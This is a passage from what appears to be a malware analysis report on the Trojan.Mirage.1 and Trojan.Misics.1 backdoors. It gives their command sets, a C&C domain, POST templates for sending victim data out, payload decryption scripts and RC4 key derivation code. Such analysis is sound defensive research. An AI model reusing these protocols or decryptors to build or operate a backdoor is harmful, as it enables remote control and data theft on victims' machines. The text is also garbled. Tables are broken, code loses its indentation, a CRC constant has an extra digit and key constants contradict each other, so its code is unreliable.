- `VirtualProtect`
- `WriteFile`
- `lstrcatA`
- `GetModuleHandleA`
- `IsDebuggerPresent`

Next, Trojan.Mirage.1 decrypts the payload using the XOR operation with the `0xCC` byte, loads the resulting MZPE file onto the memory and calls the `mystart` exported function.
The payload

The payload module represents a dynamic library with the exported functions:

- OnWork
- RunUninstallA
- Uninstall
- mystart

Below, we will dissect two major functions responsible for the trojan operation: mystart and OnWork.

**mystart function**

At the beginning, the `%TEMP%\installstat.tmp` file is checked to be present. If it exists, Trojan.Mirage.1 reads a proxy server address from it and then deletes this file.

The `c:\programdata\Tmp\cmd32\cmd32` path is used as a home directory, herewith the creation, modification and access date for the `c:\programdata\Tmp\cmd32` and `c:\programdata\Tmp\cmd32` folders are copied from the `%WINDIR%\System32\winver.exe` file.

The `Global\dawdwere4de2wrw` mutex is used to ensure that only one instance of the malware is running.

At this stage, the program checks for the presence of the avp.exe and avpui.exe processes. If even one of them is found, then throughout its further operation the trojan will additionally verify the presence of the object with the `Global\v2kjgtts1` event name. If it locates it, the trojan will halt its further operation.

Trojan.Mirage.1 can operate in 3 modes. While operating as a service, it checks if the event object with the `Global\v2kjgtts1` name exists. If the event object is missing, it copies its files from the current directory onto `c:\programdata\Tmp\cmd32\cmd32` and injects either into the iexplore.exe process (for the Windows systems, starting from Windows Vista and higher) or into the explorer.exe process (for the Windows systems below Windows Vista).

While operating in the context of the explorer.exe or iexplore.exe processes, it deletes its files from the `%TEMP%` directory, checks if the `Global\dawdwere4de2wrw` mutex is present and creates it if missing. If the trojan is launched with elevated privileges, it creates the Windows Event Update service; otherwise, it configures its autorun through the `[HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'Load'` registry key and proceeds to execute its main functions.
For the rest of the cases, Trojan.Mirage.1 checks for the Global\dawdwere4de2wrw mutex. If it is missing, the malware injects either into the iexplore.exe process (for the Windows systems, starting from Windows Vista and higher) or into the explorer.exe process (for the Windows systems below Windows Vista).

**OnWork Function**

After receiving the imported functions, the application proceeds to execute its main functions, skipping installation onto the system routine.

It reads the c:\\programdata\\Tmp\\cmd32\\cmd32\\config.dat file and decrypts it using the following algorithm.

```c
1 int __cdecl read_config(char *FileName, _BYTE *Buffer)
2 {
3     unsigned int i; // [esp+4Ch] [ebp-10h]
4     FILE *Stream; // [esp+50h] [ebp-4h]
5     
6     memset(Buffer, 0, 0xB8u);
7     Stream = fopen(FileName, "rb");
8     if (!Stream )
9         return 0;
10     fread(Buffer, 1u, 0xB8u, Stream);
11     fclose(Stream);
12     for ( i = 0; i < 0xB8; ++i )
13         Buffer[i] += i;
14     return i;
15 }
```

The configuration has the following structure:

```c
struct st_config
{
    char cnc_addr[32];
    char cnc_port[16];
    char interval[16];
    char timeout[16];
    char unk3[16];
    _DWORD unk4;
    char trojan_name[16];
    _DWORD unk5;
    wchar_t campaign[32];
};
```

Next, Trojan.Mirage.1 collects various information about the infected computer and forms the following structure:

```c
struct st_info
{
    wchar_t version[32];
    wchar_t pc_name_user[64];
    wchar_t bot_ip[64];
    wchar_t macaddr[64];
};
```
_DWORD osver;
_DWORD cpufreq;
_DWORD cpunumber;
_DWORD physmem;
_DWORD is_wow64_process;
};

The `%s-v1.0-%s` line is stored in the version field; with that, the v1.0 value is hardcoded in the analyzed sample, while the two other lines, trojan_name and campaign, are taken from the settings.

Next, an attempt to connect to the C&C server is made. To do so, the trojan checks for the proxy server settings in the `[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'ProxyEnable' and `[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'ProxyServer' registry entries. If settings are found, the trojan uses the corresponding proxy server in its further requests.

Trojan.Mirage.1 connects to the C&C server listed in its configuration and sends the following packet:

```
struct st_hello
{
    _DWORD dword0; // 'f'
    _DWORD dword4; // random value
    _DWORD dword8; // random value
    _DWORD dwordC; // random value
    wchar_t text[256]; // "Neo,welcome to the desert of real."
};
```

In response, it receives the following commands to execute:

- 0 — send information about the infected computer;
- 1 — run the plug-in designed to work with the file system;
- 2 — run the plug-in designed to work with the command shell;
- 5 — run the plug-in to work with the processes;
- 6 — run the plug-in to work with the command shell on behalf of another user;
- 7 — run the keylogger plug-in;
- 51 — send information about the infected computer;
- 52 — download an update for the trojan;
- 53 — disconnect from the server;
- 54 — disconnect from the server;
- 200 — send the information about storage devices installed in the system;
- 201 — send the directory listing;
- 202 — delete a file;
- 203 — move a file;
204 — upload a file to the server;
205 — download a file from the server;
206 — create a directory;
207 — run a command with the cmd.exe;
300 — send a list of the processes in the infected system to the server;
301 — kill a process with a specific identifier;
400 — upload an event log of the keylogger to the server.

**C&C server connection protocol**

The HTTP protocol is used to connect the malware with the C&C server. The requests have the following format:

```
POST http://<cnc_addr>:<cnc_port>/result?hl=en&id=<id> HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Proxy-Connection: Keep-Alive
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Encoding: gzip, deflate
Host: %s:%d
```

Where `<cnc_addr>` is the C&C server address; `<cnc_port>` is the port of the C&C server; `<id>` is a random string of lower-case letters of the Latin alphabet. The unique `<id>` is generated for each request.

The data for the POST-request and the response is encrypted with the following algorithm:

```
for ( i = 0; i < data_size; ++i )
    request[req_header_len + i] = (i ^ 0x7C) + data[i];
```

The first DWORD in the server response is the identifier of the command, which should be executed by the bot. The rest of the buffer can contain the additional parameters for this command.

**The plug-in designed to work with the command shell**

For the input/output redirection from the cmd.exe process, the following three files are used:

- `%TEMP%\cache\sysin_%d.log`
- `%TEMP%\cache\sysout_%d.log`
- `%TEMP%\cache\systemp_%d.log`

Where `<d>` is a random number, which is the same for all three files; it is generated at the time of the plug-in launch. If the plug-in has been launched with command 6, the command
buffer should contain the domain and user login and password, from under which the command shell is being launched.

After that, the trojan launches the command shell with the input/output redirection onto the files, mentioned earlier. The contents of the `sysout_%d.log` file will be sent to the C&C server, and the response will be stored in the `sysin_%d.log` file.

**Trojan.Misics.1**

A multi-functional trojan backdoor for 64-bit Microsoft Windows operating systems. Its main components are the loader and the payload that functions in the computer's RAM. Code obfuscation and two-step payload encryption are used to hide traces of malware presence in the system. The backdoor is designed for establishing an encrypted connection with the C&C server and for unauthorized control over an infected computer.

**Operating routine**

The loader is a dynamic library with `Rundll32Entry` and `ServiceEntry` exported functions. During the infection process, it is installed in directory `C:\ProgramData\MISICS\MISICS.dll`.

It can be launched as a service using `svchost.exe` or execute its own code using `rundll32.exe`. During initialization, it checks which way the process was launched. The trojan restarts using `rundll32.exe` with the `-auto` key, in case it was launched differently.

For obfuscation purposes, a large amount of garbage code is used, making it difficult to detect the original instructions. The search for all utilized APIs is performed via the PEB (Process Environment Block) in the `kernel32.dll` and `user32.dll` libraries by name, which results in the API address being entered in the function table.

Next, the program loads the `<loader name>.crt` file into memory, which is an encrypted payload. The first 4 bytes of the file are used to generate the decryption key, and the rest is decrypted. The key is a checksum of the first 4 bytes calculated using the CRC32 algorithm. The initial CRC value is set in the code `0xAC1FD22B`. To decrypt each byte of data, the CRC result from the DWORD is calculated, which contains the sequential number of the decrypted byte. The CRC value from the previous step is the initial CRC value for the next calculation.

**Decryption algorithm**

```python
import struct

def crc32table():
```
s = dict()
for i in range(0x100):
x = i
for j in range(8):
    if x & 1:
        x = ((x >> 1) ^ 0xEDB888320) & 0xffffffff
    else:
        x = (x >> 1) & 0xffffffff
s[i] = x
return s
table = crc32table()
def crc32(crc, data):
    for i in range(len(data)):
        crc = ((crc >> 8) ^ table[(crc ^ ord(data[i])) & 0xff]) & 0xffffffff
    return crc
def decrypt(data):
s = ''
key = crc32(0xAC1FD22B, data[:4])
j = 0
for i in range(4, len(data)):
    key = crc32(key, struct.pack('<I', j))
s += chr((ord(data[i]) - key) & 0xff)
j += 1
return s

if __name__ == '__main__':
    with open('MISICS.dll.crt', 'rb') as f:
        data = f.read()
    with open('payload', 'wb') as f:
        f.write(decrypt(data))

After decryption, the trojan checks the value of the first DWORD of the decrypted data. If it is not equal to 0x13AB7064, the decryption is considered incomplete.

The 0x318 byte configuration is located at the beginning of the decrypted data, and the payload is located right after it.

#pragma pack(push,1)
struct cfg
{
    _DWORD sig; // 0x13AB7064
The field of the isPE structure can take the following values:

- 0 — the payload is a shellcode,
- 1 — the payload is MZPE file (.exe),
- 2 — the payload is MZPE file (.dll).

If `bCreateDllExitEvent` is equal to 1, the trojan creates an event signaling the successful completion at the end of operation. The trojan also calls the `payload_exit_func_name` function of the payload. In the studied sample, the payload is a shellcode.

Debugging strings generated on the stack:

- Get Payload File Name.
- ServerLoadPayload()
- Get Module File Name.
- Read Payload File.
- Switch to payload directory.
- Verify Payload Data.
- Decrypt Payload Data.
- Load PE.
- Create DllExit Event.
- Get DllExport Export Function.

Example of creating a rundll32.exe:

```c
*(DWORD *)v109 = 'dnur';
SystemTimeToFileTime(&v106, &v130);
SetLastError(0);
v58 = (v131 >> 3) & 0x3F;
if ( GetLastError() )
  GetVersion();
*(DWORD *)&v109[4] = '2311';
LOBYTE(v110.wYear) = 0;
v59 = operator new(0x14ui64);
v60 = 0;
v61 - v59;
*(WORD *)((char *)&v110.wYear + 1) = 'xe';
```

Obfuscation is a frequent inclusion of the one-type code that does not affect the performance of the main functions. There is also a lot of meaningless calls added:
GetVersion(), SetLastError(), GetLastError(), GetSystemTime(), SystemTimeToFileTime(), OutputDebugString(), and GetTickCount().

Some OutputDebugString calls provide useful debugging information.

Another distinctive feature is the large number of allocations of small memory blocks using the new function with simultaneously release.

```c
if ( v139 > 1 )
{
    v6 = &v140;
    do
    {
        v7 = GetVersion() & 7;
        if ( (signed int)v7 <= 4 )
            v8 = v7 + 5;
        else
            v8 = v7 - 1;
        *(BYTE *)&v6 = v8;
        ++v5;
        v6 = (__int64 *)((char *)&v6 + 1);
    }
    while ( v5 < v139 );
}
```

```
\*HIBYTE(v110.wDay) = GetVersion();
OutputDebugStringA(v109);
\*HIBYTE(v106.wDayOfWeek) = 116;
GetSystemTime((LPSYSTEMTIME)&v110);
\*LOBYTE(v106.wDay) = 32;
SystemTimeToFileTime(&v127, &v130);
SystemTimeToFileTime(&v110, &v114);
SetLastError(0);
SetLastError(0);
\*HIBYTE(v106.wDay) = 61;
if ( GetLastError() )
    GetVersion();
\*LOBYTE(v106.wHour) = 61;
v73 = \*operator new(0xAuu164);
\*HIBYTE(v106.wHour) = 32;
v74 = (const CHAR *)&v73;
```

**Payload**

The main body of the shellcode and its configuration are encrypted using a simple algorithm based on the XOR operation. Decryption is performed by the part of the shellcode that was previously decrypted by the loader. Decryption algorithm:

```python
import idaapi

k = 0x0c
for i in range(0xbce57):
    k = (k + i) & 0xff
    idaapi.patch_byte(0x25 + i, idaapi.get_byte(0x25 + i) ^ k)
```

After decryption the shellcode receives control. Similar to the loader, the shellcode searches for all the necessary APIs via the PEB and enters their addresses in the function table. The following algorithm is used to hash the name of the exported function:

```python
ror = lambda val, r_bits, max_bits: ((val & (2**max_bits-1)) << r_bits%max_bits) | ((val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

a = 'GetProcAddress\x00'
c = ord(a[0])

for i in range(1,len(a)):
c = (ord(a[i]) + ror(c, 13, 32)) & 0xffffffff
```
During the process of searching for the necessary functions, the trojan unpacks the ssleay32.dll and libeay32.dll files from its body, which are located at the 0xF2 offset in shellcode and are compressed using the zlib library, then manually loads them. After that, the trojan parses the configuration embedded in its body:

Bing@Google@Yahoo|tv.teldcomtv.com:53;tv.teldcomtv.com:53;|1;1;1;1;1;1;1;|00-24;|5;

where |1;1;1;1;1;1;1;|00-24;| defines the schedule of communication sessions with C&C server.

The configuration can contain up to 6 addresses of the C&C servers. Each address consists of an address and port separated by a colon.

Then the current date and time are compared with the parameters from the configuration. If the date and time match the configuration parameters, the trojan attempts to connect to one of the C&C servers specified in the configuration over the SSL Protocol. After successful connection, the program collects information about the infected computer:

```c
#pragma pack(push, 1)
struct botinfo
{
    wchar_t compname[100];
    _BYTE osver;
    _BYTE gotcompname;
    _BYTE isx64arch;
    _BYTE macaddress[6];
    _DWORD ipaddress;
    _BYTE byte10;
    _BYTE iswow64proc;
    _WORD year;
    _WORD month;
    _WORD day;
};
#pragma pack(pop)
```

Then it sends information about the infected computer to the server (cmdid == 0x129E, datasize == 0xdd) and checks that the response sent matches cmid == 0x132A. It sends a packet containing cmdid == 0x155B and 3 parameters for each of the 30 possible modules. After that, the malicious program waits for commands from the server. The waiting time is calculated using the formula:

\[
v12 = 60000 \times \text{ctx->period} \\
\text{min} = 120000 \times \text{ctx->period} / 3u \\
\text{ticks} = \text{ctx->imp->GetTickCount}() \\
\text{ctx->imp->Sleep(ticks} \% (v12 - \text{min}) + \text{min})
\]

where ctx->period is the last number from the configuration. After a pause, the communication process with the server starts again.

The server can send the following commands:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
<th>Arguments</th>
<th>Answer</th>
<th>Answer data</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1AC3</td>
<td>To maintain the connection</td>
<td>no</td>
<td>0x1AC3</td>
<td></td>
</tr>
<tr>
<td>0x1C1C</td>
<td>To remove itself from the system</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>0x230E</td>
<td>To create a buffer for the payload (shellcode or MZPE file)</td>
<td>payload_params structure:</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x2873 in case of success</td>
<td>0x2D06 in case of failure</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x2873 in case of success</td>
<td>0x2D06 in case of failure</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x2873 in case of success</td>
<td>0x2D06 in case of failure</td>
</tr>
<tr>
<td>0x294C</td>
<td>To copy the payload into prepared buffer</td>
<td>Data to be copied</td>
<td>0x2873</td>
<td>Current size of the payload (_QWORD size)</td>
</tr>
<tr>
<td>0x2AC8</td>
<td>To launch the payload</td>
<td>-</td>
<td>0x2743</td>
<td>0 (_QWORD size)</td>
</tr>
<tr>
<td>0x2D06</td>
<td>To release memory for the payload</td>
<td>-</td>
<td>0x2D06</td>
<td>-</td>
</tr>
<tr>
<td>0x590A</td>
<td>To launch file manager</td>
<td>Awaits the following structure as an argument</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x3F15 (file manager launch)</td>
<td>Structure received from the server, with the length of the second parameter limited to 90 symbols</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0x3F15 (file manager termination)</td>
<td>-</td>
</tr>
</tbody>
</table>
**Command ID** | **Description** | **Arguments** | **Answer** | **Answer data**
--- | --- | --- | --- | ---
0x3099 | To process other commands | Awaits the following structure as an argument

```c
#pragma pack(push,1)
struct cmdarg{
  _BYTE cmdid;
  char s[];
};
#pragma pack(pop)
```
0x3F15 | (start of command processing) | Structure received from the server with the length of the second parameter limited to 90 symbols
0x3F15 | (end of command processing) | -

---

**0x2AC8 (Payload launch)**

It is used after the 0x230E and 0x294C commands; `payload_params->index == 4` parameter is required. The trojan starts a thread in which it performs all the actions; `payload_params->sig == 0x7AC9` means the payload is not encrypted.

If the payload is encrypted, a decryption key is generated:

```c
imp->sprintf(rc4_key, "%02x#%02X_5B", BYTE2(payload_params->sig), (unsigned __int8)payload_params->sig);
```

The key is then expanded to 256 bytes, and the entire buffer is decrypted by the received key.

- `payload_params->type == 0` means the buffer contains the shellcode, and
- `payload_params->shellcode_ep` specifies the offset in the shellcode to start execution from.

- `payload_params->type == 1` means the buffer contains an MZPE file. The trojan loads it into memory and passes the code execution to the OEP (Original entry point). Next, the file is checked for export functions; if there are any, the trojan looks for the `GetClassObject` function and executes it.

Any other value of the `payload_params->type` parameter leads the program to shut down.

**0x590A (File manager launch)**

The trojan establishes a new connection with the C&C server, in which it will accept commands from the file manager.
After establishing a connection, the trojan sends a packet with `cmd Id == 0x3F15` and with data received from the server. The length of the `cmdarg->s` parameter is limited to 90 symbols. After that, the malware starts a thread in which it waits for the server’s commands over the established connection.

<table>
<thead>
<tr>
<th>Group</th>
<th>Command ID</th>
<th>Description</th>
<th>Arguments</th>
<th>Answer</th>
<th>Answer data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Maintaining the connection</td>
<td>0x1AC3</td>
<td>To maintain the connection</td>
<td>-</td>
<td>0x1AC3</td>
<td>-</td>
</tr>
<tr>
<td>To read a file</td>
<td>0x55C3</td>
<td>To get file size</td>
<td><code>fsread</code> structure:</td>
<td>0x5DE4 if the file could not be opened</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0x5DDA if the file was opened</td>
<td>File size (QWORD type)</td>
</tr>
<tr>
<td>0x55C4</td>
<td>To read a file (used after 0x55C3 command)</td>
<td>-</td>
<td>0x5DDC if the offset in the file is greater or equal to the file size</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0x5DE4 if the file was opened</td>
<td>File data in blocks of 0x1800 bytes</td>
</tr>
<tr>
<td>Any code except of 0x5013 after 0x55C4</td>
<td>Error</td>
<td>-</td>
<td>0x5DE4 error</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>0x5013</td>
<td>To close a file</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>To write a file</td>
<td>0x55C7</td>
<td>To open a file for reading and writing</td>
<td><code>File name(wchar_t [400])</code></td>
<td>0x5DE4 if the file could not be opened</td>
<td>-</td>
</tr>
<tr>
<td>Code</td>
<td>Description</td>
<td>Data to be written</td>
<td>Status/Action</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>--------------------------------------------</td>
<td>--------------------</td>
<td>------------------------------------------------------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x55C8</td>
<td>To write data to a file</td>
<td>Data to be written</td>
<td>0x5DE2 file writing completed</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Any code except 0x5013 or 0x55C9 after 0x55C8</td>
<td>Error</td>
<td>-</td>
<td>0x5DE4 error</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x55C9</td>
<td>End of writing</td>
<td>-</td>
<td>0x5DE3 confirming the end of writing</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x5013</td>
<td>To close a file</td>
<td>-</td>
<td>-</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**To list a directory**

<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
<th>Data to be written</th>
<th>Status/Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x55C5</td>
<td>To list a directory</td>
<td>(wchar_t[400]) path</td>
<td>0x5DDD beginning of directory listing</td>
</tr>
<tr>
<td>-</td>
<td>Is ignored, listing stops only when all files and sub-directories are listed or an error occurs</td>
<td>-</td>
<td>0x5DEE To list a directory, excluding folders</td>
</tr>
</tbody>
</table>

**The listing:**

```c
#pragma pack(push, 1)
struct fssfileinfo {
    wchar_t file name[];
    _QWORD filesize
};
struct fslsfiles {
    fssfileinfo files[];
};
#pragma pack(pop)
```

If the packet size with the next file exceeds the maximum packet size (0x2000 bytes), then the trojan sends the current packet and starts preparing a new one.

After browsing all the files, the trojan recursively proceeds through all the directory.
directories, forming a listing for each.

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th>directories listing successfully completed</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>-</td>
<td>-</td>
<td>0x5DE0 directory listing failed with an error</td>
</tr>
</tbody>
</table>

**0x3099 (other commands)**

The malware checks whether the fir pipe was created for the command ID specified by the server. If not, it starts the thread in which it then launches the payload (similar to the 0x2AC8 command).

The trojan establishes a new connection with the C&C server, in which it will accept commands related to 0x2AC8. After establishing a connection, the trojan sends a packet with cmdid == 0x3F15 and with data that was received from the server. The length of the cmdarg->s parameter is limited to 90 symbols. After that, the malware starts a thread, in which it waits for server’s commands over the established connection.

If the fir pipe is created, the trojan sends the 0x32E0 packet without parameters, then sends the 0x3F15 packet without it as well. After that, it finishes processing the command.

Creates 3 pipes:

- `\..\pipe\windows@#%02XMon`
- `\..\pipe\windows@#%02Xfir`
- `\..\pipe\windows@#%02Xsec`

where %02X is replaced with a number passed by the server.

In a separate thread it reads data from the fir pipe and sends it to the server with the 0x34A7 command ID.

Next, the trojan starts another thread that directly processes the server’s commands:

- 0x1AC3 — maintains the connection;
- 0x3167 — writes the data received from the server to the sec pipe;
• 0x32E0 — writes the 0x32E0 command to the Mon pipe;
• 0x38AF — writes the 0x38AF command to the Mon pipe and then closes the connection with the server;
• 0x3716 — writes 12 bytes received from the server, as well as a pointer to the buffer with the payload, payload’s size and offset to the shellcode entry point to the sec pipe;
• 0x3A0B — similar to 0x3099;
• 0x3CD0 — starts the proxy.

0x3CD0 (Proxy)

When receiving the 0x3099 command in the framework for processing the 0x590A command, the trojan tries to open port 127[.]0.0[.]1:5000. If it fails, it increases the port number by one and tries again until the port is opened. Then it writes 3 bytes to the second pipe: 1 byte of the argument and 2 bytes for the open port.

It starts a thread in which it waits for incoming connections. Once the connection is established, it transfers data from the socket to the C&C server and back. When sending data to the C&C server, cmdid is set to 0x9F37.

0x1C1C (Self-removing)

The program attempts to terminate its process via taskkill /f /pid <pid>. It copies cmd.exe to the %ALLUSERSPROFILE%\com.microsoft\dllhost.exe directory (for Windows XP — %ALLUSERSPROFILE%\Application Data\com.microsoft\dllhost.exe). For later Windows versions, it also copies %WINDIR%\System32\<deflocale>\cmd.exe.mui to %ALLUSERSPROFILE%\com.microsoft\dllhost.exe.mui, where <deflocale> is the name of the default locale.

In the %ALLUSERSPROFILE%\com.microsoft\ directory (for Windows XP a %ALLUSERSPROFILE%\Application Data\com.microsoft\), it creates a mshelp.bat file that contains the following set of commands:

```
sc stop misics
sc delete misics
rd /s /q "%ALLUSERSPROFILE%\Misics"
rd /s /q "%ALLUSERSPROFILE%\Media"
taskkill /f /pid <curpid>
rd /s /q "%HOMEDRIVE%\DOCUME~1\ALLUSE~1\APPLIC~1\Misics"
rd /s /q "%HOMEDRIVE%\DOCUME~1\ALLUSE~1\APPLIC~1\Media"
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Misics" /f
del %0
```

where <curpid> is the trojan’s PID.

Then it launches the batch file and shuts down.
Protocol for communicating with the C&C server

Data is encrypted before being sent to the sever. First, an RC4 key is generated to encrypt the packet header:

1) A packet header consisting of 8 DWORDs is generated:

```c
imp->memset(header, 0i64, 32i64);
...
header[4] = 0xE0B2; //signature
header[5] = cmdid;
header[3] = datasize;
header[0] = datasize + imp->GetTickCount() % 0x87C9;
header[1] = datasize + imp->GetTickCount() % 0x3F0D;
header[2] = datasize + imp->GetTickCount() % 0x9B34;
header[7] = datasize + imp->GetTickCount() % 0xF317;
```

2) Based on the `header[7]` value, `key_part_2` is generated, consisting of 4 bytes:

```c
key_part_2[3] = LOBYTE(header[7]) & 0x7A;
key_part_2[2] = BYTE2(header[7]) ^ 0x81;
key_part_2[1] = BYTE1(header[7]) ^ 0x4E;
key_part_2[0] = HIBYTE(header[7]) & 0x3D;
```

3) Based on the `header[7]` value, `key_part_3` is generated, consisting of 4 bytes:

```c
key_part_3[2] = BYTE2(header[7]) & 0xA6;
key_part_3[3] = LOBYTE(header[7]) ^ 0x6F;
key_part_3[1] = BYTE1(header[7]) ^ 0x86;
key_part_3[0] = HIBYTE(header[7]) & 0xE4;
```

4) Based on the received `header[7]`, `key_part_2`, `key_part_3`, the trojan generates a string that is a short key for encrypting the header:

```c
z = 0;
for ( i = 0i64; i < 4; ++i )
{
    imp->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&header[7] + i));
    z += 2;
    imp->sprintf(&rc4_key[z], "%02x", key_part_2[i]);
    z += 2;
    imp->sprintf(&rc4_key[z], "%02X", key_part_3[i]);
    z += 2;
}
```

5) The obtained short key is expanded to a 256-byte key, which is used for encryption by the RC4 algorithm:

```c
p_rc4_key = &rc4_key[1];
do
{
    p_rc4_key += 2;
    v28 = x % short_key_len;
    v29 = x + 1;
    x += 2;
    *(p_rc4_key - 3) = short_key[v28];
```
*(p\_rc4\_key - 2) = short\_key[v29 \% short\_key\_len];
}
while ( x < 256 );

6) The received RC4 key is used to encrypt the header (32 bytes).

Next, an RC4 key is generated to encrypt the packet data:

1) key\_part\_4 is formed (4 bytes):

```c
imp->memcpy(key\_part\_4, (char *)\&header[3], 4i64);
key\_part\_4[2] = key\_part\_4[1] & 0x89;
key\_part\_4[1] = key\_part\_4[1] & 0x89 ^ 0x60;
key\_part\_4[3] = key\_part\_4[0] ^ 0xAC;
key\_part\_4[0] = (key\_part\_4[0] ^ 0xAC) & 0xCD;
```

2) key\_part\_5 is formed (4 bytes):

```c
imp->memcpy(key\_part\_5, (char *)\&header[5], 4i64);
key\_part\_5[3] = key\_part\_5[0] & 0xB0;
key\_part\_5[0] = key\_part\_5[0] & 0xB0 ^ 0xD1;
key\_part\_5[2] = key\_part\_5[1] ^ 0x8D;
key\_part\_5[1] = (key\_part\_5[1] ^ 0x8D) & 0x64;
```

3) key\_part\_6 is formed (4 bytes):

```c
imp->memcpy(key\_part\_6, (char *)\&header[4], 4i64);
key\_part\_6[3] = key\_part\_6[0] & 0x94u;
key\_part\_6[0] &= 0x94u;
key\_part\_6[2] = key\_part\_6[1] ^ 0xB2;
key\_part\_6[1] ^= 0xF9u;
```

4) key\_part\_7 is formed (4 bytes):

```c
imp->memcpy(key\_part\_7, (char *)\&header[2], 4i64);
key\_part\_7[3] = key\_part\_7[0] & 0x8A;
key\_part\_7[0] &= 0x82u;
key\_part\_7[2] = key\_part\_7[1] ^ 0xB2;
key\_part\_7[1] ^= 0xD8u;
```

5) A short key is generated, which will be further used for data encryption:

```c
c = 0
for ( k = 0i64; k < 4; ++k )
{
    imp->sprintf(&rc4\_key\_final[c], "%02X", key\_part\_4[k]);
    c += 2;
    imp->sprintf(&rc4\_key\_final[c], "%02x", key\_part\_5[k]);
    c += 2;
    imp->sprintf(&rc4\_key\_final[c], "%02X", key\_part\_6[k]);
    c += 2;
    imp->sprintf(&rc4\_key\_final[c], "%02x", key\_part\_7[k]);
    c += 2;
}
```

6) The obtained short key is expanded to a 256-byte key, which is used for encryption by the RC4 algorithm.
The trojan sends a POST request:

```c
imp->sprintf(
    request,
    "POST http://%s/updates.php?0x%08x HTTP/1.1\r\n"
    "Host: %s\r\n"
    "Connection: Keep-Alive\r\n"
    "User-Agent: Mozilla/5.0\r\n"
    "Cache-Control: no-catch\r\n"
    "Content-Length: %d\r\n"
    "\r\n",
host,
ctx->tick,
host,
datasize + 32i64);
```

The `ctx->tick` parameter changes after each request and is equal to `GetTickCount() % 0xFFFFFE`.

Data encoded by the RC4 algorithm with `key_part_1` (32 bytes) written at the beginning is used as request data.

When receiving a packet, the response headers are skipped, and only the `\r\n\r
` string is checked. The trojan reads the header (the first 32 bytes), and then proceeds with response decrypting.

1) Based on the `header[7]` value, `key_part_2` is generated, consisting of 4 bytes:

```c
key_part_2[3] = LOBYTE(header[7]) & 0x7A;
key_part_2[2] = BYTE2(header[7]) ^ 0x81;
key_part_2[1] = BYTE1(header[7]) ^ 0x4E;
key_part_2[0] = HIBYTE(header[7]) & 0x3D;
```

2) Based on the `key_part_1[7]` value, `key_part_3` is generated, consisting of 4 bytes:

```c
key_part_3[2] = BYTE2(header[7]) & 0xA6;
key_part_3[3] = LOBYTE(header[7]) ^ 0x6F;
key_part_3[1] = BYTE1(header[7]) ^ 0x86;
key_part_3[0] = HIBYTE(header[7]) & 0xE4;
```

3) Based on the received `header[7]`, `key_part_2`, `key_part_3`, the trojan generates a string that is a short key for header decrypting:

```c
z = 0;
for ( i = 0i64; i < 4; ++i )
{
    imp->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&key_part_1[7] + i));
    z += 2;
    imp->sprintf(&rc4_key[z], "%02x", key_part_2[i]);
    z += 2;
    imp->sprintf(&rc4_key[z], "%02X", key_part_3[i]);
    z += 2;
}
```

4) `key_part_4` is formed (4 bytes):
imp->memcpy(key_part_4, (char *)&header[3], 4);  
key_part_4[2] = key_part_4[1] & 0x89;  
key_part_4[1] = key_part_4[1] & 0x89 ^ 0x60;  
key_part_4[3] = key_part_4[0] ^ 0xAC;  
key_part_4[0] = (key_part_4[0] ^ 0xAC) & 0xCD;

5) key_part_5 is formed (4 bytes): 
imp->memcpy(key_part_5, (char *)&header[5], 4);  
key_part_5[3] = key_part_5[0] & 0xB0;  
key_part_5[0] = key_part_5[0] & 0xB0 ^ 0xD1;  
key_part_5[2] = key_part_5[1] ^ 0x8D;  
key_part_5[1] = (key_part_5[1] ^ 0x8D) & 0x64;

6) key_part_6 is formed (4 bytes): 
imp->memcpy(key_part_6, (char *)&header[4], 4);  
key_part_6[3] = key_part_6[0] & 0xB4;  
key_part_6[0] &= 0x94u;  
key_part_6[2] = key_part_6[1] ^ 0x91;  
key_part_6[1] ^= 0xF9u;

7) key_part_7 is formed (4 bytes): 
imp->memcpy(key_part_7, (char *)&header[2], 4);  
key_part_7[3] = key_part_7[0] & 0x8A;  
key_part_7[0] &= 0x82u;  
key_part_7[2] = key_part_7[1] ^ 0xB2;  
key_part_7[1] ^= 0xD8u;

8) Based on the received key_part_4, key_part_5, key_part_6, key_part_7, the trojan generates a string that is a short key for decrypting the payload:  
z = 0;  
for ( j = 0; j < 4; ++j )  
{  
    imp->sprintf(&payload_rc4_key[z], "%02X", key_part_4[j]);  
    z += 2;  
    imp->sprintf(&payload_rc4_key[z], "%02X", key_part_5[j]);  
    z += 2;  
    imp->sprintf(&payload_rc4_key[z], "%02X", key_part_6[j]);  
    z += 2;  
